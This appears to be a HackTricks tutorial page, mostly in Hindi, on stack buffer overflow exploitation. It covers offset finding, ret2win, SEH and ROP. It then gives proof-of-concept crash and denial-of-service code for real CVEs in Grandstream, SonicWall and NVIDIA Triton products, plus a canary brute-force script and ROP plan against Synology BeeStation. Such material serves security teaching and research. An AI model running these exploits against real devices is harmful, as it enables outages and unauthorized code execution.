Stack Overflow
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
Stack Overflow क्या है
एक stack overflow एक कमज़ोरी है जो तब होती है जब कोई प्रोग्राम स्टैक में उसे आवंटित करने वाले स्थान से अधिक डेटा लिखता है। यह अतिरिक्त डेटा नजदीकी मेमोरी स्पेस को ओवरराइट कर देगा, जिससे वैध डेटा का भ्रष्ट होना, नियंत्रण प्रवाह का बाधित होना और संभावित रूप से दुर्भावनापूर्ण कोड का निष्पादन हो सकता है। यह समस्या अक्सर ऐसे unsafe functions के उपयोग के कारण होती है जो इनपुट पर bounds checking नहीं करते।
इस अधिलेखन की मुख्य समस्या यह है कि saved instruction pointer (EIP/RIP) और saved base pointer (EBP/RBP), जो पिछले फ़ंक्शन पर वापस लौटने के लिए उपयोग होते हैं, stack पर संग्रहीत होते हैं। इसलिए, एक हमलावर उनपर अधिलेखन कर सकता है और प्रोग्राम के निष्पादन प्रवाह को नियंत्रित कर सकता है।
यह कमज़ोरी आमतौर पर इसलिए उत्पन्न होती है क्योंकि कोई फ़ंक्शन स्टैक के भीतर उसके लिए आवंटित मात्रा से अधिक बाइट्स कॉपी कर देता है, और इस प्रकार स्टैक के अन्य हिस्सों को अधिलेखित करने में सक्षम हो जाता है।
कुछ सामान्य फ़ंक्शन जो इससे प्रभावित हो सकते हैं: strcpy, strcat, sprintf, gets… इसके अलावा, ऐसे फ़ंक्शन जैसे fgets, read और memcpy जो एक length argument लेते हैं, यदि निर्दिष्ट length आवंटित आकार से अधिक हो तो भेद्य (vulnerable) तरीके से उपयोग किए जा सकते हैं।
void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}
Stack Overflows के offsets ढूँढना
Stack overflows खोजने का सबसे सामान्य तरीका बहुत बड़ा इनपुट देना है consisting of As (उदा. python3 -c 'print("A"*1000)') और एक Segmentation Fault की उम्मीद करना है जो इंगित करता है कि address 0x41414141 तक पहुँचने की कोशिश की गई।
इसके अलावा, एक बार जब आप पाते हैं कि Stack Overflow vulnerability मौजूद है, तो आपको वह offset ढूँढना होगा जिस पर आप return address को overwrite कर सकें; इसके लिए आमतौर पर एक De Bruijn sequence का उपयोग किया जाता है — किसी दिए गए alphabet के आकार k और उप-क्रमों की लंबाई n के लिए यह एक cyclic sequence है जिसमें लंबाई n के प्रत्येक संभावित उप-क्रम एक contiguous subsequence के रूप में ठीक एक बार आता है।
इस तरह, हाथ से यह पता लगाने की बजाय कि EIP को control करने के लिए किस offset की ज़रूरत है, इन sequences में से किसी एक को padding के रूप में इस्तेमाल किया जा सकता है और फिर उन बाइट्स का offset पाया जा सकता है जिन्होंने अंत में उसे overwrite कर दिया।
इसके लिए pwntools का उपयोग किया जा सकता है:
from pwn import *
# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
pattern = cyclic(1000)
# This is an example value that you'd have found in the EIP/IP register upon crash
eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")
या GEF:
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp
स्टैक ओवरफ्लो का शोषण
During an overflow (supposing the overflow size if big enough) you will be able to overwrite values of local variables inside the stack until reaching the saved EBP/RBP and EIP/RIP (or even more).
The most common way to abuse this type of vulnerability is by modifying the return address so when the function ends the control flow will be redirected wherever the user specified in this pointer.
हालाँकि, अन्य परिदृश्यों में सिर्फ स्टैक में कुछ वेरिएबल्स के मानों को overwrite करना ही exploitation के लिए पर्याप्त हो सकता है (जैसे आसान CTF चुनौतियों में)।
Ret2win
In this type of CTF challenges, there is a function inside the binary that is never called and that you need to call in order to win. For these challenges you just need to find the offset to overwrite the return address and find the address of the function to call (usually ASLR would be disabled) so when the vulnerable function returns, the hidden function will be called:
Stack Shellcode
In this scenario the attacker could place a shellcode in the stack and abuse the controlled EIP/RIP to jump to the shellcode and execute arbitrary code:
Windows SEH-based exploitation (nSEH/SEH)
On 32-bit Windows, an overflow may overwrite the Structured Exception Handler (SEH) chain instead of the saved return address. Exploitation typically replaces the SEH pointer with a POP POP RET gadget and uses the 4-byte nSEH field for a short jump to pivot back into the large buffer where shellcode lives. A common pattern is a short jmp in nSEH that lands on a 5-byte near jmp placed just before nSEH to jump hundreds of bytes back to the payload start.
ROP & Ret2… techniques
This technique is the fundamental framework to bypass the main protection to the previous technique: No executable stack (NX). And it allows to perform several other techniques (ret2lib, ret2syscall…) that will end executing arbitrary commands by abusing existing instructions in the binary:
Heap Overflows
An overflow is not always going to be in the stack, it could also be in the heap for example:
Types of protections
There are several protections trying to prevent the exploitation of vulnerabilities, check them in:
Common Binary Exploitation Protections & Bypasses
Real-World Example: CVE-2026-2329 (Grandstream GXP1600 unauthenticated HTTP stack overflow)
/app/bin/gs_web(32-bit ARM) exposes/cgi-bin/api.values.geton TCP/80 with no authentication. The POST parameterrequestis colon-delimited; each character is copied intochar small_buffer[64]and the token is NUL-terminated on:or end, without any length check, letting a single oversized token smash the saved registers/return address.- PoC overflow (crashes and shows attacker data in registers):
curl -ik http://<target>/cgi-bin/api.values.get --data "request=$(python3 - <<'PY'\nprint('A'*256)\nPY)". - Delimiter-driven multi-NUL placement: every colon restarts parsing and appends a trailing NUL. By using multiple overlong identifiers, each token’s terminator can be aligned to a different offset in the corrupted frame, letting the attacker place several
0x00bytes even though each overflow normally adds only one. This is crucial because the non-PIE binary is mapped at0x00008000, so ROP gadget addresses embed NUL bytes. - Example colon payload to drop five NULs at chosen offsets (lengths tuned per stack layout):
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:BBBBBBBBBBBBBBBBBBBBB:CCCCCCCCCCCCCCCCCCCC:DDDDDDDDDDD:EEE checksecshows NX enabled, no canary, no PIE. Exploitation uses a ROP chain built from fixed addresses (e.g., callsystem()thenexit()), staging arguments after planting the required NUL bytes with the delimiter trick.
Real-World Example: CVE-2025-40596 (SonicWall SMA100)
A good demonstration of why sscanf should never be trusted for parsing untrusted input appeared in 2025 in SonicWall’s SMA100 SSL-VPN appliance.
The vulnerable routine inside /usr/src/EasyAccess/bin/httpd attempts to extract the version and endpoint from any URI that begins with /__api__/:
char version[3];
char endpoint[0x800] = {0};
/* simplified proto-type */
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
- पहला conversion (
%2s) सुरक्षित रूप सेversionमें दो bytes स्टोर करता है (जैसे"v1"). - दूसरा conversion (
%s) कोई length specifier नहीं है, इसलिएsscanfपहले NUL byte तक कॉपी करना जारी रखेगा। - क्योंकि
endpointstack पर स्थित है और 0x800 bytes लंबा है, 0x800 bytes से लंबा path देने पर buffer के बाद जो कुछ भी है वह corrupt हो जाता है ‑ जिसमें stack canary और saved return address शामिल हैं।
A single-line proof-of-concept क्रैश को प्रमाणीकरण से पहले ट्रिगर करने के लिए पर्याप्त है:
import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)
हालाँकि stack canaries प्रक्रिया को रोक देते हैं, एक हमलावर फिर भी एक Denial-of-Service primitive हासिल कर लेता है (और additional information leaks के साथ, संभवतः code-execution)।
वास्तविक दुनिया का उदाहरण: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
NVIDIA’s Triton Inference Server (≤ v25.06) में कई stack-based overflows थे जिन तक इसके HTTP API के माध्यम से पहुँचा जा सकता था।
यह कमजोर पैटर्न बार-बार http_server.cc और sagemaker_server.cc में पाया गया:
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
/* allocates 16 * n bytes on the stack */
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
alloca(sizeof(struct evbuffer_iovec) * n);
...
}
evbuffer_peek(libevent) वर्तमान HTTP request body को बनाते हुए आंतरिक बफ़र सेगमेंट्स की गिनती लौटाता है।- प्रत्येक सेगमेंट
alloca()के माध्यम से stack पर एक 16-byteevbuffer_iovecआवंटित कराता है — किसी ऊपरी सीमा के बिना। - HTTP chunked transfer-encoding का दुरुपयोग करके, एक client request को सैकड़ों-हज़ारों 6-byte chunks में विभाजित करने के लिए मजबूर कर सकता है (
"1\r\nA\r\n"). यहnको अनबाउंडेड बढ़ा देता है जब तक कि stack समाप्त न हो जाए।
प्रूफ-ऑफ-कॉन्सेप्ट (DoS)
Chunked DoS PoC
```python #!/usr/bin/env python3 import socket, sysdef exploit(host=“localhost”, port=8000, chunks=523_800): s = socket.create_connection((host, port)) s.sendall(( f“POST /v2/models/add_sub/infer HTTP/1.1\r\n“ f“Host: {host}:{port}\r\n“ “Content-Type: application/octet-stream\r\n” “Inference-Header-Content-Length: 0\r\n” “Transfer-Encoding: chunked\r\n” “Connection: close\r\n\r\n” ).encode())
for _ in range(chunks): # 6-byte chunk ➜ 16-byte alloc s.send(b“1\r\nA\r\n“) # amplification factor ≈ 2.6x s.sendall(b“0\r\n\r\n“) # end of chunks s.close()
if name == “main”: exploit(*sys.argv[1:])
</details>
लगभग 3 MB का अनुरोध saved return address को overwrite करने और **crash** होने के लिए डिफ़ॉल्ट बिल्ड पर daemon को पर्याप्त है।
### Real-World Example: CVE-2025-12686 (Synology BeeStation Bee-AdminCenter)
Synacktiv’s Pwn2Own 2025 chain ने पोर्ट 5000 पर `SYNO.BEE.AdminCenter.Auth` में एक pre-auth overflow का दुरुपयोग किया। `AuthManagerImpl::ParseAuthInfo` attacker input को Base64-decode करके एक 4096-byte stack buffer में रखता है लेकिन गलत तरीके से `decoded_len = auth_info->len` सेट कर देता है। क्योंकि CGI worker हर request पर fork करता है, हर child parent के stack canary को inherit करता है, इसलिए एक स्थिर overflow primitive stack दोनों को corrupt करने और सभी आवश्यक secrets को leak करने के लिए पर्याप्त होता है।
#### संरचित overflow के रूप में Base64-decoded JSON
Decoded blob को valid JSON होना चाहिए और उसमें `"state"` और `"code"` keys शामिल होने चाहिए; अन्यथा parser overflow के उपयोगी होने से पहले ही throw कर देता है। Synacktiv ने इसे इस तरह हल किया: payload को Base64-encode किया जो decode होने पर JSON बनता है, उसके बाद एक NUL byte और फिर overflow stream। `strlen(decoded)` NUL पर रुक जाता है इसलिए parsing सफल हो जाता है, लेकिन `SLIBCBase64Decode` पहले ही JSON object के आगे stack को overwrite कर चुका होता है, जिससे canary, saved RBP, और return address प्रभावित हो जाते हैं।
```python
pld = b'{"code":"","state":""}\x00' # JSON accepted by Json::Reader
pld += b"A"*4081 # reach the canary slot
pld += marker_bytes # guessed canary / pointer data
send_request(pld)
Crash-oracle bruteforcing of canaries & pointers
synoscgi प्रत्येक HTTP request पर fork करता है, इसलिए सभी child processes समान canary, stack layout, और PIE slide साझा करते हैं। Exploit HTTP status code को एक oracle की तरह ट्रिट करता है: एक 200 response का मतलब है कि guessed byte ने stack को preserve किया, जबकि 502 (या dropped connection) का मतलब है कि process crashed। Brute-forcing हर बाइट को serially करने पर 8-byte canary, एक saved stack pointer, और libsynobeeadmincenter.so के अंदर एक return address recover होते हैं:
def bf_next_byte(prefix):
for guess in range(0x100):
try:
if send_request(prefix + bytes([guess])).status_code == 200:
return bytes([guess])
except requests.exceptions.ReadTimeout:
continue
raise RuntimeError("oracle lost sync")
bf_next_ptr सरलता से bf_next_byte को आठ बार कॉल करता है जबकि पुष्टि किए गए prefix को जोड़ता है। Synacktiv ने इन oracles को लगभग 16 worker threads के साथ समानांतर किया, जिससे कुल leak समय (canary + stack ptr + lib base) तीन मिनट से कम हो गया।
leaks से ROP और निष्पादन तक
एक बार library base ज्ञात हो जाने पर, सामान्य gadgets (pop rdi, pop rsi, mov [rdi], rsi; xor eax, eax; ret) एक arb_write primitive बनाते हैं जो leaked stack address पर /bin/bash, -c, और हमलावर का कमांड स्टेज करता है। अंत में, यह chain SLIBCExecl (a BeeStation wrapper around execl(2)), के लिए calling convention सेट करता है, जिससे अलग info-leak बग की जरूरत के बिना एक root shell प्राप्त हो जाती है।
संदर्भ
- watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)
- Trail of Bits – Uncovering memory corruption in NVIDIA Triton
- HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)
- Synacktiv – Breaking the BeeStation: Inside Our Pwn2Own 2025 Exploit Journey
- Rapid7 – CVE-2026-2329 unauthenticated stack overflow in Grandstream GXP1600
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।


